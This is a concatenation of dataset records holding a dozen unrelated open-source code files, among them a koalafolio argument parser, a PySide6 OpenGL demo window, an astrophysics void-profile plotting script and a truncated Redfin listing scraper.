koalafolio.PcpCore.settings as settings\n\n\ndef parse_arguments():\n # create parser\n parser = argparse.ArgumentParser(prog=\"koalafolio\",\n description=\" visit https://github.com/2martin2/koalafolio for more information\")\n # add arguments to the parser\n parser.add_argument('-v', '--version', action='version',\n version='%(prog)s ' + str(settings.VERSION),\n help=\"show version of koalafolio\")\n parser.add_argument('-d', '--datadir', type=dir_path, required=False,\n help=\"directory where user data should be stored. make sure it is a valid and writable dir\")\n parser.add_argument('-u', '--username', type=str, required=False,\n help=\"username can be used to switch between different portfolios. \" +\n \"username will be added to Datafolder (Data_username), \" +\n \"so every user has its own settings, trades, styles and so on\")\n # parse the arguments\n return parser.parse_args()\n\n\ndef dir_path(path):\n if os.path.isdir(path):\n return path\n else:\n raise argparse.ArgumentTypeError(f\"{path} is not a valid path\")\n","repo_name":"2martin2/koalafolio","sub_path":"koalafolio/PcpCore/arguments.py","file_name":"arguments.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"75"} +{"seq_id":"1676512169","text":"import inspect\nimport json\nimport logging\nimport pytest\n\n\n@pytest.mark.usefixtures(\"init_Driver\")\nclass Configuration:\n customConfig = {}\n configInfo = {}\n\n @staticmethod\n def customLogger(logLevel=logging.DEBUG):\n # Gets the name of the class / method from where this method is called\n loggerName = inspect.stack()[1][3]\n logger = logging.getLogger(loggerName)\n # By default, log all messages\n logger.setLevel(logging.DEBUG)\n\n fileHandler = logging.FileHandler(\"..//MakeMyTrip//Logs//automation.log\", mode='w')\n fileHandler.setLevel(logLevel)\n\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s: %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p')\n fileHandler.setFormatter(formatter)\n logger.addHandler(fileHandler)\n\n return logger\n\n @staticmethod\n def getApplicationDetails(param):\n with open(\"../../MakeMyTrip/custom_Configuration/environment.json\", \"r\") as env:\n read_file = json.load(env)\n return read_file.get(param)","repo_name":"SayanGanguli/MakeMyTripProject","sub_path":"custom_Configuration/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74301791281","text":"\nimport requests\nimport json\n\ndef getExtractedData(myJsondata,fjson):\n extractedData = dict()\n listEntites = []\n #Récuperation de la liste des entités\n\n for i in range(len(myJsondata)):\n keys = myJsondata[i].keys()\n key = next(iter(keys))\n listEntites.append(key)\n\n extractedData[\"allEntities\"] = listEntites\n # Recuperation des noms des entités que l'on enregistre dans la variable \"listEntites\"\n\n #print('Liste des entites et leurs attributs: ')\n for i in range(len(listEntites)):\n listAttributs = []\n listAssocs = []\n\n # Recuperation des noms des attributs que l'on enregistre dans la variable \"listAttributs\"\n nbAttributs = len(myJsondata[i][listEntites[i]][0].keys())\n extractedData[listEntites[i]] = dict()\n for key in fjson[i][listEntites[i]][0].keys():\n listAttributs.append(key)\n extractedData[listEntites[i]][\"attributes\"] = listAttributs\n for i in range(len(listEntites)):\n # Recuperations des differentes associations\n nbAssocs = len(myJsondata[i]['relations']['associations'])\n #print(nbAssocs)\n for j in range(nbAssocs):\n # for key in fichierjson[i][listEntites[i]]['relations']['associations'][j].keys():\n # listAssocs.append(key)\n # print(key)\n nomAutreEntite = fjson[i]['relations']['associations'][j][\"nomAutreEntite\"]\n # cardDeb = fichierjson[i][listEntites[i]]['relations']['associations'][j][\"cardDeb\"]\n # cardFin = fichierjson[i][listEntites[i]]['relations']['associations'][j][\"cardFin\"]\n nomAssoc = myJsondata[i]['relations']['associations'][j][\"nomAssoc\"]\n #print(nomAssoc)\n #print(extractedData)\n return extractedData\n #Recuperation des attributs d'une entitée\ndef getAttributesEntity(data,entityName):\n return data[entityName][\"attributes\"]\n\n","repo_name":"guiyatou/projet_sjbd","sub_path":"json_extraction.py","file_name":"json_extraction.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17393135757","text":"from pandas_datareader import data\nfrom collections import OrderedDict\nfrom datetime import date, timedelta\nfrom IPython import embed\n\n# COMPILE REQUEST PARAMS\n\nsymbols = ['AAPL', 'MSFT']\ndata_source = 'google'\nstart = str(date.today() - timedelta(days=15))\nend = str(date.today())\n\n# ISSUE REQUEST\n\nresponse = data.DataReader(symbols, data_source, start, end)\n\n# PARSE RESPONSE\n\ndaily_closing_prices = response.ix[\"Close\"]\n\ndaily_closing_prices = daily_closing_prices.to_dict('index')\n\ndaily_closing_prices = OrderedDict(sorted(daily_closing_prices.items(), reverse=True)) # h/t https://stackoverflow.com/a/15743140/670433\n\nprint(\"---------------------------------------\")\nprint(\"DAILY STOCK PRICES:\")\nprint(\"---------------------------------------\")\nprint(\"\")\nprint(\"date | Apple (AAPL) | Microsoft (MSFT)\")\nprint(\"---------- | ---------------- | -----------------\")\n\n\nfor beginning_of_day in daily_closing_prices:\n symbol_prices = daily_closing_prices[beginning_of_day]\n date = str(beginning_of_day.date())\n aapl_usd = '${0:.2f}'.format(symbol_prices[\"AAPL\"])\n msft_usd = '${0:.2f}'.format(symbol_prices[\"MSFT\"])\n print(date, \"|\", aapl_usd, \" |\", msft_usd)\n","repo_name":"s2t2/stocks-app-py","sub_path":"app/get_stock_prices.py","file_name":"get_stock_prices.py","file_ext":"py","file_size_in_byte":1193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35075116307","text":"'''\nCreated on 2019. 4. 21.\n\n@author: jihye\n'''\n\n### 클러스터 결과를 담은 DataFrame과 사이킷런의 Cluster 객체등을 인자로 받아 클러스터링 결과를 시각화하는 함수\n \ndef visualize_cluster_plot(clusterobj, dataframe, label_name, iscenter=True):\n \n import numpy as np\n import matplotlib.pyplot as plt \n \n \n if iscenter :\n centers = clusterobj.cluster_centers_\n \n unique_labels = np.unique(dataframe[label_name].values)\n markers=['o', 's', '^', 'x', '*']\n isNoise=False\n\n for label in unique_labels:\n label_cluster = dataframe[dataframe[label_name]==label]\n if label == -1:\n cluster_legend = 'Noise'\n isNoise=True\n else :\n cluster_legend = 'Cluster '+str(label)\n \n plt.scatter(x=label_cluster['ftr1'], y=label_cluster['ftr2'], s=70,\\\n edgecolor='k', marker=markers[label], label=cluster_legend)\n \n if iscenter:\n center_x_y = centers[label]\n plt.scatter(x=center_x_y[0], y=center_x_y[1], s=250, color='white',\n alpha=0.9, edgecolor='k', marker=markers[label])\n plt.scatter(x=center_x_y[0], y=center_x_y[1], s=70, color='k',\\\n edgecolor='k', marker='$%d$' % label)\n if isNoise:\n legend_loc='upper center'\n else: legend_loc='upper right'\n \n plt.legend(loc=legend_loc)\n plt.show()\n\n","repo_name":"imji0319/PDSH","sub_path":"importme/vsp.py","file_name":"vsp.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10803935026","text":"# 메모리에서 JSON 문자열 처리하기\n\nimport json\n\n# JSON encoding, 직렬화(serialisation) : 파이썬 객체를 메모리 / 디스크에 JSON 문자열로 변환.\n\nnewDict = {\n 'id' : 205,\n 'name' : '정병지',\n 'scholarship': True,\n 'mobile' : None,\n 'address' : {\n 'street' : '성북구 정릉로 77',\n 'city' : '서울',\n 'zipcode': '02707'\n },\n 'hobbies' : ['독서', '자전거', '베이킹'],\n 'courses' : [\n {\n 'major' : '컴퓨터공학',\n 'classes' : ['자로구조', '화일처리', '데이터베이스']\n },\n {\n 'minor' : '수학',\n 'classes' : ['통계학', '회귀분석']\n }\n ]\n}\n\n# JSON 스트링에 쓰기\n# dump()에 의해 모든 작은 따옴표('')는 큰 따음표(\"\")로 변환됨\n\njsonString = json.dumps(newDict, ensure_ascii=False)\nprint(jsonString)\nprint()\n\njsonString = json.dumps(newDict, indent=4, ensure_ascii=False)\nprint(jsonString)\nprint()\n\n#######################################\n# JSON decoding, 역직렬화(deserialization) : 메모리, 디스크에 있는 JSON 문자열을 파이썬 객체로 변환\n\njsonString = '''{\n \"id\": 205,\n \"name\": \"정병지\",\n \"scholarship\": true,\n \"mobile\": null,\n \"address\": {\n \"street\": \"성북구 정릉로 77\",\n \"city\": \"서울\",\n \"zipcode\": \"02707\"\n },\n \"hobbies\": [\n \"독서\",\n \"자전거\",\n \"베이킹\"\n ],\n \"courses\": [\n {\n \"major\": \"컴퓨터공학\",\n \"classes\": [\n \"자로구조\",\n \"화일처리\",\n \"데이터베이스\"\n ]\n },\n {\n \"minor\": \"수학\",\n \"classes\": [\n \"통계학\",\n \"회귀분석\"\n ]\n }\n ]\n}'''\n# JSON 스트링을 읽기\nnewDict = json.loads(jsonString)\nprint(newDict)","repo_name":"HyungJunGoo/DataBaseWithPython","sub_path":"venv/Part2/JSON_1.py","file_name":"JSON_1.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"519586283","text":"from utils import tab_printer\nfrom graph_sim import GraphSimTrainer\nfrom param_parser import parameter_parser\nimport torch\nimport os\n\n\ndef main():\n args = parameter_parser()\n\n device_num = args.device_num\n assert device_num == '0' or device_num == '1'\n\n args.device = torch.device(('cuda:' + device_num) if torch.cuda.is_available() else 'cpu')\n os.environ['CUDA_VISIBLE_DEVICES'] = device_num\n\n tab_printer(args)\n\n trainer = GraphSimTrainer(args)\n if args.load_model:\n trainer.load()\n else:\n trainer.train()\n\n if args.save_model:\n trainer.save()\n\n trainer.test()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"NEUAlbertTan/DGE-GSIM","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"37836024781","text":"from django.urls import path, include\n\nfrom django.contrib import admin\n\nadmin.autodiscover()\n\nimport hello.views\n\n# To add a new path, first import the app:\n# import blog\n#\n# Then add the new path:\n# path('blog/', blog.urls, name=\"blog\")\n#\n# Learn more here: https://docs.djangoproject.com/en/2.1/topics/http/urls/\n\n#calls functions when url is visited\nurlpatterns = [\n path(\"\", hello.views.index, name=\"index\"),\n path(\"db/\", hello.views.db, name=\"db\"),\n path(\"admin/\", admin.site.urls),\n path(\"teapot/\", hello.views.teapot, name=\"teapot\"),\n path(\"send/\", hello.views.send_text),\n path(\"ask/\", hello.views.send_question)\n]\n","repo_name":"marfaxor/eb-nodejs-signup","sub_path":"py/herokuPython/seniordesign/tillspikecopy/gettingstarted/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3650030739","text":"#%%\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import spatial\nimport scipy.stats\nfrom astropy.io import ascii\nfrom astropy.table import Table\nfrom orientationsTools import readTNG, readVoids, readExp\n#import random\nfrom config import writePath, units\n#%%\nvoidsfilename = '../data/tng300-1_voids.dat'\nnames = ['r','x','y','z','vx','vy','vz','deltaint_1r','maxdeltaint_2-3r','log10Poisson','Nrecenter']\nvoids = ascii.read(voidsfilename,names=names)\nvoids = voids[voids['r']>=5.]\n\ngxs = readTNG()\nlbox=205.\nfor col in ['x','y','z']:\n gxs[col]/=1000.\ngxs.remove_row(np.where(gxs['y']==lbox)[0][0])\ngxs.remove_row(np.where(gxs['x']<0.)[0][0])\ntree = spatial.cKDTree(data=np.column_stack((gxs['x'],gxs['y'],gxs['z'])),boxsize=lbox)\n\nN=[]\nfor i in range(len(voids)):\n\tif i%1000==0: print(i)\n\tx,y,z,r = voids['x','y','z','r'][i]\n\tN.append(len(tree.query_ball_point([x,y,z],r)))\n\n#%%\n\nplt.rcParams['figure.figsize'] = (8, 12)\nplt.rcParams['font.size'] = 18\n\nfig , ax = plt.subplots(nrows = 2, ncols = 1, sharex=False, sharey=False, figsize=(10,8))\n\n# #Ngal vs R\n# ax[0][0].scatter(voids['r'],np.log10(N))\n# ax[0][0].set_xlabel('Void Radius')\n# ax[0][0].set_ylabel(r'$\\mathrm{log}_{10}N_{gal}$')\n# ax[0][0].set_xscale('log')\n\n# #Histogram Void Radius\n# ax[0][1].hist(voids['r'],bins=30,cumulative=-1)\n# ax[0][1].set_xlabel('Void Radius (Mpc)')\n# ax[0][1].set_yscale('log')\n\n\nminradV = 7.\nfilename = writePath+'Proyectos/Orientations/data/vtype/minradV{}_vtype.dat'.format(float(minradV))\nvtypes = ascii.read(filename)\nfor nv in range(len(voids[voids['r']>=minradV])):\n filename = writePath+'Proyectos/Orientations/data/profiles/minradV{}_void{}.dat'.format(minradV,nv)\n profile = ascii.read(filename,names=['r','rho'])\n if nv==38: profile = profile[1:]\n\n if vtypes[nv]['type']=='r': c, ls, a, label = 'C0', '--', 0.4, 'R-voids'\n if vtypes[nv]['type']=='s': c, ls, a, label = 'C1', '-', 0.5, 'S-voids'\n\n if nv==1:\n ax[0].plot(profile['r'],profile['rho'],c=c,ls=ls,alpha=a,label=label)\n elif nv==2:\n ax[0].plot(profile['r'],profile['rho'],c=c,ls=ls,alpha=a,label=label)\n else:\n ax[0].plot(profile['r'],profile['rho'],c=c,ls=ls,alpha=a)\n\nax[0].legend(loc = 'lower right')\n\nax[0].set_ylabel(r'$\\Delta(r)$')\nax[0].set_xlabel('r (Mpc/h)')\n\nxv,yv,zv,rv = voids[voids['r']>=8.]['x','y','z','r'][0]\n\nidx1 = tree.query_ball_point([xv,yv,zv],rv*1.5)\nidx2 = tree.query_ball_point([xv,yv,zv],rv*0.8)\nshell = [g for g in idx1 if g not in idx2]\ngals = gxs[shell]\n\nm,b,rvalue,pvalue,std=scipy.stats.linregress(np.log10(gals['mass']),np.log10(gals['sp_n'])) # El ajuste tiene que ser con las 'gxs' (no con las 'gals')\nm1 = -1./m\nb1 = -.8*(m-m1)+b\nb2 = -.4*(m-m1)+b\n\nfrom matplotlib.colors import LogNorm\ncolor='k'\n\n#filter = np.where(np.log10(gals['mass'])<=2)\nx = np.log10(gals['mass'])\ny = np.log10(gals['sp_n'])\n\n#ax[1].scatter(x[filter],y[filter],s=5)\nh = ax[1].hist2d(x, y, bins=25, norm=LogNorm(), cmap=plt.cm.Blues, cmin=0)\nfig.colorbar(h[3], ax=ax[1], orientation='vertical')\n\n#ax[1][1].scatter(np.log10(gals['mass']),np.log10(gals['sp_n']),edgecolor='blue',facecolor='none')\n\n# ax[1][1].scatter(np.log10(gals['mass']),np.log10(gals['sp_n']),s=5)\n# h = ax[1][1].hexbin(np.log10(gals['mass']),np.log10(gals['sp_n']),\\\n# bins=100,norm=LogNorm(),mincnt=2,cmap=plt.cm.Blues)\n# fig.colorbar(h, ax=ax[1][1], orientation='horizontal')\n\nax[1].set_xlabel(r'$\\mathrm{log_{10}}(M/M_{\\odot})$')\nax[1].set_ylabel(r'$\\mathrm{log_{10}}|\\vec{S}|$')\nax[1].plot(x, x*m+b,ls='-',color=color,label='Linear regression')\nax[1].vlines(-.8, np.min(np.log10(gals['sp_n'])), \\\n np.max(y),colors=color,linestyles=':')\nax[1].vlines(-.4, np.min(np.log10(gals['sp_n'])), \\\n np.max(y),colors=color,linestyles=':')\nax[1].set_xlim([-1.,2.5])\n\n# ax[1][1].text(-0.95, 2.25, 'H-L', fontsize=15, color=color)\n# ax[1][1].text(-0.64, 2.4, 'H-I', fontsize=15, color=color)\n# ax[1][1].text(-0.25, 2.5, 'H-H', fontsize=15, color=color)\n# ax[1][1].text(-0.95, 0.5, 'L-L', fontsize=15, color=color)\n# ax[1][1].text(-0.64, 0.65, 'L-I', fontsize=15, color=color)\n# ax[1][1].text(-0.25, 0.8, 'L-H', fontsize=15, color=color)\n# ax[1].legend(loc ='lower right')\n\nplt.tight_layout()\n#plt.savefig('../plots/data2.png')\n#plt.savefig('../plots/data.pdf')\n# %%\n\n# import matplotlib.pyplot as plt\n# import numpy as np\n# from scipy.stats import kde\n \n# # create data\n# x = np.log10(gals['mass'])\n# y = np.log10(gals['sp_n'])\n \n# # Evaluate a gaussian kde on a regular grid of nbins x nbins over data extents\n# nbins=100\n# k = kde.gaussian_kde([x,y])\n# xi, yi = np.mgrid[x.min():x.max():nbins*1j, y.min():y.max():nbins*1j]\n# zi = k(np.vstack([xi.flatten(), yi.flatten()]))\n \n# # Make the plot\n# plt.pcolormesh(xi, yi, zi.reshape(xi.shape), shading='auto')\n# plt.colorbar()\n# plt.show()\n \n# # Change color palette\n# # plt.pcolormesh(xi, yi, zi.reshape(xi.shape), shading='auto', cmap=plt.cm.Greens_r)\n# # plt.show()\n# %%\n","repo_name":"FedeDavilaKurban/Orientations","sub_path":"paperplt_data.py","file_name":"paperplt_data.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14428623872","text":"\"\"\"\nCreated on 2019-07-18\n\n@author: kapeed2091\n\"\"\"\nfrom clean_arch_app.interactors.storages.post_storage import PostDTO\nfrom clean_arch_app.interactors.storages.post_storage import PostStorage\n\n\nclass PostStorageImpl(PostStorage):\n\n def create_post(self, content: str, created_by_id: int) -> PostDTO:\n from clean_arch_app.models import Post\n post_obj = Post.objects.create(content=content,\n created_by_id=created_by_id)\n post_dto = PostDTO(\n post_obj.id, post_obj.content, post_obj.created_at,\n post_obj.created_by_id\n )\n return post_dto\n","repo_name":"kapeed2091/clean_architecture_example","sub_path":"clean_arch_app/storages/post_storage_impl.py","file_name":"post_storage_impl.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19877097898","text":"import os\r\nimport sys\r\n\r\nfrom PySide6.QtWidgets import *\r\nfrom PySide6.QtGui import QIcon, QAction, QKeySequence\r\nfrom PySide6.QtCore import *\r\n\r\nfrom baseapp import BaseApplication\r\nfrom gltessellationwidget import GLTessellationWidget\r\nfrom glcubewidget import GLCubeWidget\r\nfrom glfractalwidget import GLFractalWidget\r\nfrom about import AboutDialog\r\n\r\n\r\nclass MainDockWindow(QMainWindow):\r\n def __init__(self, app:BaseApplication) -> None:\r\n super().__init__()\r\n self.app = app\r\n self.icons_path = os.path.abspath(\r\n os.path.dirname(__file__)) + '/images/'\r\n self.filters = \"Any File (*)\"\r\n self.tess_widget = GLTessellationWidget()\r\n self.cube_widget = GLCubeWidget()\r\n self.fractal_widget = GLFractalWidget()\r\n self.gl_demos = {\"Cube\": self.cube_widget, \"Tessellation\": self.tess_widget,\r\n \"Fractal\": self.fractal_widget}\r\n self.create_ui()\r\n\r\n def create_ui(self) -> None:\r\n self.setWindowTitle(\"OpenGL Skeleton\")\r\n self.setWindowIcon(QIcon(self.icons_path + 'app.png'))\r\n self.setGeometry(100, 100, 800, 600)\r\n\r\n # move main window to the center of the screen\r\n self.move(QApplication.primaryScreen(\r\n ).availableGeometry().center() - self.rect().center())\r\n self.create_action()\r\n self.create_menu_bar()\r\n self.create_toolbar()\r\n self.create_dockWidget()\r\n self.create_tabWidget()\r\n self.statusBar().showMessage('Ready', 10000)\r\n\r\n def create_tabWidget(self) -> None:\r\n self.tabs = QTabWidget(self)\r\n self.tabs.setTabsClosable(True)\r\n for key in self.gl_demos:\r\n self.tabs.addTab(self.gl_demos[key], key)\r\n self.setCentralWidget(self.tabs)\r\n self.tabs.tabCloseRequested.connect(self.close_current_tab)\r\n\r\n def close_current_tab(self, index: int) -> None:\r\n # keep at least one tab\r\n if self.tabs.count() < 2:\r\n return\r\n self.tabs.removeTab(index)\r\n\r\n def create_dockWidget(self) -> None:\r\n self.dock_tree_Widget = QDockWidget(\"OpenGL Demos\", self)\r\n self.dock_tree_Widget.setAllowedAreas(\r\n Qt.LeftDockWidgetArea | Qt.RightDockWidgetArea)\r\n self.dock_tree_Widget.setFeatures(\r\n QDockWidget.DockWidgetMovable | QDockWidget.DockWidgetFloatable)\r\n self.dock_tree_Widget.setMinimumWidth(200)\r\n self.tree_widget = QTreeWidget()\r\n self.tree_widget.setHeaderHidden(True)\r\n self.tree_widget.itemDoubleClicked.connect(self.doubleclick_tree_item)\r\n\r\n for demo in self.gl_demos:\r\n item = QTreeWidgetItem(self.tree_widget)\r\n item.setText(0, demo)\r\n self.tree_widget.addTopLevelItem(item)\r\n self.dock_tree_Widget.setWidget(self.tree_widget)\r\n self.addDockWidget(Qt.LeftDockWidgetArea, self.dock_tree_Widget)\r\n\r\n def doubleclick_tree_item(self, item: QTreeWidgetItem, column: int) -> None:\r\n title = item.text(0)\r\n exist = False\r\n for i in range(0, self.tabs.count()):\r\n text = self.tabs.tabText(i)\r\n if text == title:\r\n exist = True\r\n self.tabs.setCurrentIndex(i)\r\n break\r\n if not exist:\r\n index = self.tabs.addTab(self.gl_demos[title], title)\r\n self.tabs.setCurrentIndex(index)\r\n\r\n def create_menu_bar(self) -> None:\r\n self.file_menu = self.menuBar().addMenu(\"&File\")\r\n self.file_menu.addAction(self.open_action)\r\n self.file_menu.addAction(self.save_action)\r\n self.file_menu.addAction(self.saveas_action)\r\n\r\n self.edit_menu = self.menuBar().addMenu(\"&Edit\")\r\n self.edit_menu.addAction(self.undo_action)\r\n self.edit_menu.addAction(self.cut_action)\r\n\r\n self.help_menu = self.menuBar().addMenu(\"&Help\")\r\n self.help_menu.addAction(self.about_action)\r\n\r\n def create_toolbar(self) -> None:\r\n self.top_toolbar = QToolBar()\r\n self.addToolBar(self.top_toolbar)\r\n self.top_toolbar.addAction(self.open_action)\r\n self.top_toolbar.addAction(self.save_action)\r\n self.top_toolbar.addAction(self.saveas_action)\r\n\r\n self.left_toolbar = QToolBar()\r\n self.addToolBar(Qt.LeftToolBarArea, self.left_toolbar)\r\n self.left_toolbar.addAction(self.undo_action)\r\n self.left_toolbar.addAction(self.cut_action)\r\n\r\n def create_action(self) -> None:\r\n self.open_action = QAction(QIcon(self.icons_path + 'open.png'), 'O&pen',\r\n self, shortcut=QKeySequence.Open,\r\n statusTip=\"Open an existing file\",\r\n triggered=self.open_file)\r\n self.save_action = QAction(QIcon(self.icons_path + 'save.png'), 'Save',\r\n self, shortcut=QKeySequence.Save,\r\n statusTip=\"Save to a file\",\r\n triggered=self.save_file)\r\n self.saveas_action = QAction(QIcon(self.icons_path + 'saveas.png'), 'Save As',\r\n self, shortcut=QKeySequence.SaveAs,\r\n statusTip=\"Save to a file\",\r\n triggered=self.saveas_file)\r\n self.undo_action = QAction(QIcon(self.icons_path + 'undo.png'), 'Undo',\r\n self, shortcut=QKeySequence.Undo,\r\n statusTip=\"Undo\",\r\n triggered=self.edit_undo)\r\n self.cut_action = QAction(QIcon(self.icons_path + 'cut.png'), 'Cut',\r\n self, shortcut=QKeySequence.Cut,\r\n statusTip=\"Cut\",\r\n triggered=self.edit_cut)\r\n self.about_action = QAction('About',\r\n self,\r\n statusTip=\"About\",\r\n triggered=self.help_about)\r\n\r\n def open_file(self) -> None:\r\n self.file_name, self.filter_name = QFileDialog.getOpenFileName(self,\r\n caption=\"Open file\",\r\n filter=self.filters)\r\n\r\n def save_file(self) -> None:\r\n pass\r\n\r\n def saveas_file(self) -> None:\r\n pass\r\n\r\n def edit_undo(self) -> None:\r\n pass\r\n\r\n def edit_cut(self) -> None:\r\n pass\r\n\r\n def help_about(self) -> None:\r\n dlg = AboutDialog(self.icons_path, self.app)\r\n dlg.exec()\r\n\r\n\r\ndef test() -> None:\r\n \"\"\"Run MainWindow test\"\"\"\r\n app = BaseApplication(sys.argv)\r\n mainwindow = MainDockWindow(app)\r\n mainwindow.showMaximized()\r\n sys.exit(app.exec())\r\n\r\n\r\nif __name__ == '__main__':\r\n test()\r\n","repo_name":"EagleEatApple/glskeleton","sub_path":"glskeleton/maindockwindow.py","file_name":"maindockwindow.py","file_ext":"py","file_size_in_byte":6906,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"1535066582","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n'''\nGoogle map drive distance:\nhttps://maps.googleapis.com/maps/api/distancematrix/json?origins=Falkirk%20Dr,SAN%20JOSE,CA,95135&destinations=2701%20San%20Tomas%20Expy,%20Santa%20Clara,%20CA%2095050&mode=driving\nhttps://stackoverflow.com/questions/29003118/get-driving-distance-between-two-points-using-google-maps-api\n'''\n\nimport csv\nimport os\nimport re\nimport md5\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\n\nimport cachedb\n\n'''\nimport requests_cache\nrequests_cache.install_cache(os.path.join(os.path.dirname(__file__),\n 'redfin_cache'))\n'''\n\nif requests.__version__ < '2.2.4':\n requests.packages.urllib3.disable_warnings()\n\nUA_HEADER = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'\n\n# resp = redfin.get('/county/345/CA/Santa-Clara-County/filter/sort=lo-days,property-type=house+condo+townhouse,min-price=450k,max-price=900k')\n# dl_all = '/stingray/api/gis-csv?al=3&market=sanfrancisco&max_price=900000&min_price=450000&num_homes=350&ord=days-on-redfin-asc&page_number=1®ion_id=345®ion_type=5&sf=1,2,3,5,6,7&sp=true&status=9&uipt=1,2,3&v=8&zoomLevel=8'\ndl_all = [\n '/stingray/api/gis-csv?al=3&market=sanfrancisco&max_price=900000&min_price=450000&ord=days-on-redfin-asc&page_number=1®ion_id=345®ion_type=5&sf=1,2,3,5,6,7&sp=true&status=9&uipt=1,2,3&v=8',\n '/stingray/api/gis-csv?al=3&market=sanfrancisco&max_price=900000&min_price=450000&ord=days-on-redfin-asc&page_number=1®ion_id=303®ion_type=5&sf=1,2,3,5,6,7&sp=true&status=9&uipt=1,2,3&v=8',\n '/stingray/api/gis-csv?al=3&market=sanfrancisco&max_price=900000&min_price=450000&ord=days-on-redfin-asc&page_number=1®ion_id=343®ion_type=5&sf=1,2,3,5,6,7&sp=true&status=9&uipt=1,2,3&v=8'\n]\n\n\ndef all_keys(d):\n keys = d.keys()\n for k in map(lambda v: all_keys(v),\n filter(lambda t: type(t) == dict, d.values())):\n keys.extend(k)\n return keys\n\n\ndef get_values(d, key):\n if not d:\n return []\n\n results = []\n if key in d:\n results.append(d[key])\n for val in map(lambda v: get_values(v, key),\n filter(lambda t: type(t) is dict, d.values())):\n for v in val:\n if v:\n print(\"VVVV:\", type(v))\n results.append(v)\n if results:\n print(\"DDDDD:\", type(results[0]))\n return results\n\n\nclass Redfin(object):\n def __init__(self):\n self.baseurl = 'https://www.redfin.com'\n self.session = requests.Session()\n self.session.headers['User-Agent'] = UA_HEADER\n self.session.headers['origin'] = self.baseurl\n self.session.headers['Referer'] = self.baseurl\n self.kache = cachedb.cache()\n\n def _url(self, url):\n return self.baseurl + url if url[0] == '/' else url\n\n def get(self, url, **kwargs):\n return self.session.get(self._url(url), verify=False, **kwargs)\n\n def post(self, url, **kwargs):\n return self.session.post(self._url(url), verify=False, **kwargs)\n\n def save_cookies(self):\n with open('cookies.json', 'w+') as f:\n f.write(json.dumps(self.session.cookies.items()))\n\n def _restore_cookies(self):\n if not os.path.exists('cookies.json'):\n return 400\n\n cookies = json.load(open('cookies.json'))\n for c in cookies:\n self.session.cookies.set(c[0], c[1])\n resp = self.get(dl_all[0])\n if resp.status_code != 200:\n self.session.cookies.clear()\n return 400\n else:\n return 200\n\n def login(self, user, pwd, cookies=None):\n if self._restore_cookies() == 200:\n print('re-use cookie')\n return 200\n\n resp = self.post(\n '/stingray/do/api-login',\n data={'email': user, 'pwd': pwd})\n print(resp.content[4:])\n print('cookie:', self.session.cookies.items())\n if resp.status_code == 200:\n self.save_cookies()\n return resp.status_code\n\n\nclass CsvData(object):\n def __init__(self, header, data):\n self.header = header\n self.data = data\n self.field_map = dict()\n for idx in range(len(self.header)):\n self.field_map[self.header[idx]] = idx\n\n def get_header(self):\n return self.header\n\n def iter_by_fields(self, *args):\n sub_csv = list()\n for name in args:\n assert(name in self.field_map)\n idx = self.field_map[name]\n sub_csv.append([row[idx] for row in self.data])\n # return list(array) of list instead of tuple(zip returned by default)\n return map(list, zip(*sub_csv))\n\n\ndef details(html):\n soup = BeautifulSoup(html, 'lxml')\n info = dict()\n\n def schools(html):\n sch = soup.find('div', {'class': 'schools-content'})\n if sch:\n table = sch.find('table', {'class': 'basic-table-2'})\n sch_names = map(lambda a: (a.text, a['href']),\n table.find_all('a', {'class': 'school-name'}))\n sch_rates = map(lambda d: d.text,\n table.find_all('div', {'class': 'gs-rating'}))\n distances = map(lambda c: c.text,\n table.find_all('td', {'class': 'distance-col'}))\n\n info['schools'] = zip([n[0] for n in sch_names],\n [n[1] for n in sch_names],\n sch_rates, distances)\n print(info['schools'])\n else:\n print(\"NO SCHOOL INFO\")\n\n def property_details(html):\n for script in soup(['script', 'style']):\n script.extract()\n prop_desc = soup.get_text()\n info['prop_details'] = prop_desc\n info['is_senior'] = prop_desc.find('Senior Community') > 0 or \\\n prop_desc.find('55+') > 0\n\n def react_json(html):\n root = 'root.__reactServerState.InitialContext'\n initctx = filter(lambda l: l.startswith(root), html.split('\\n'))\n if initctx:\n initctx = initctx[0]\n js = initctx[initctx.find('{'):-1]\n with open('InitialContext.json', 'w+') as f:\n f.write(js)\n ctx = json.loads(js)\n ctx = get_values(ctx, 'dataCache')[0]\n results = dict()\n for k, v in ctx.iteritems():\n text = get_values(v, 'text')\n print(len(text))\n if text:\n text = json.loads(text[0][len('{}&&'):].strip(','))\n results[k] = text\n\n info['react_data'] = results\n with open('react_data.json', 'w+') as f:\n f.write(json.dumps(results))\n\n def elementary_sch(s):\n if 